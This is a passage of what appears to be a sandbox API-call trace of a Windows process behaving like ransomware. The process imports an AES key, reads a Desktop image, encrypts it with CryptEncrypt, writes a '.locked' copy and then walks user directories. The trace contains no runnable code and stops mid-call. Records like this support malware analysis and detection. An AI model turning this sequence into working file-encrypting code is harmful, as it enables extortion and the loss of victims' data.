(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0127.795] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.795] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0127.795] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.795] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.795] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.795] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.795] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.795] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.795] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.795] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.795] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.795] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.795] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.795] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.795] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.795] SystemFunction041 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.796] SystemFunction040 (in: Memory=0x8e6f824, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6f824) returned 0x0 [0127.796] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.796] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.796] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.796] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.796] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.796] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.796] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.796] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.797] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.797] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.797] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.797] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.797] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0127.798] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x4396e78) returned 1 [0127.798] CryptImportKey (in: hProv=0x4396e78, pbData=0x6a52c2c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e850b8) returned 1 [0127.799] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.799] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae748, nSize=0x100 | out: lpBuffer="⬤ڥ") returned 0x0 [0127.799] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.799] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.799] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.800] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0127.825] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0127.825] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.825] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.825] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.826] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.826] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.827] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.827] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.827] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.827] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.827] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.827] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.828] GetFileType (hFile=0x868) returned 0x1 [0127.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.828] GetFileType (hFile=0x868) returned 0x1 [0127.828] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.829] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe340\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.829] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.829] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.829] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.829] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", nBufferLength=0x105, lpBuffer=0x99ada20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked", lpFilePart=0x0) returned 0x2e [0127.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf14) returned 1 [0127.829] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.830] GetFileType (hFile=0x858) returned 0x1 [0127.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.831] GetFileType (hFile=0x858) returned 0x1 [0127.831] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.831] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x6a67b3c | out: pbBuffer=0x6a67b3c) returned 1 [0127.832] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.832] CryptDuplicateKey (in: hKey=0x8e850b8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae64c | out: phKey=0x99ae64c*=0x8e84bb8) returned 1 [0127.832] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.832] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x4, pbData=0x6a68df8*=0x1, dwFlags=0x0) returned 1 [0127.832] CryptSetKeyParam (hKey=0x8e84bb8, dwParam=0x1, pbData=0x6a68dc4, dwFlags=0x0) returned 1 [0127.833] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xe280\x99a\x18b2\x7477\x29a0\x438\x24a") returned 0x0 [0127.833] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.833] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.833] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.834] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.834] ReadFile (in: hFile=0x868, lpBuffer=0x6a6c354, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x6a6c354*, lpNumberOfBytesRead=0x99ae65c*=0x100af, lpOverlapped=0x0) returned 1 [0127.835] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a80360*, pdwDataLen=0x99ae650*=0x100a0, dwBufLen=0x100a0 | out: pbData=0x6a80360*, pdwDataLen=0x99ae650*=0x100a0) returned 1 [0127.835] WriteFile (in: hFile=0x858, lpBuffer=0x6a67bfc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x6a67bfc*, lpNumberOfBytesWritten=0x99ae634*=0x1000, lpOverlapped=0x0) returned 1 [0127.836] WriteFile (in: hFile=0x858, lpBuffer=0x6a8134c*, nNumberOfBytesToWrite=0xf0b4, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x6a8134c*, lpNumberOfBytesWritten=0x99ae634*=0xf0b4, lpOverlapped=0x0) returned 1 [0127.836] ReadFile (in: hFile=0x868, lpBuffer=0x6a6c354, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x6a6c354*, lpNumberOfBytesRead=0x99ae65c*=0x0, lpOverlapped=0x0) returned 1 [0127.837] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a90424*, pdwDataLen=0x99ae6a4*=0x10, dwBufLen=0x10 | out: pbData=0x6a90424*, pdwDataLen=0x99ae6a4*=0x10) returned 1 [0127.837] CryptEncrypt (in: hKey=0x8e84bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a90458*, pdwDataLen=0x99ae6ac*=0x0, dwBufLen=0x10 | out: pbData=0x6a90458*, pdwDataLen=0x99ae6ac*=0x10) returned 1 [0127.837] WriteFile (in: hFile=0x858, lpBuffer=0x6a67bfc*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae67c, lpOverlapped=0x0 | out: lpBuffer=0x6a67bfc*, lpNumberOfBytesWritten=0x99ae67c*=0x10, lpOverlapped=0x0) returned 1 [0127.837] CloseHandle (hObject=0x858) returned 1 [0127.840] CloseHandle (hObject=0x868) returned 1 [0127.840] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.841] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.841] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.841] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.841] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.842] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\cwvtt.png")) returned 0x20 [0127.842] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", nBufferLength=0x105, lpBuffer=0x99ade54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\CWVTT.png", lpFilePart=0x0) returned 0x27 [0127.842] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.842] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.842] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.842] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.842] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.843] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.843] GetFileAttributesW 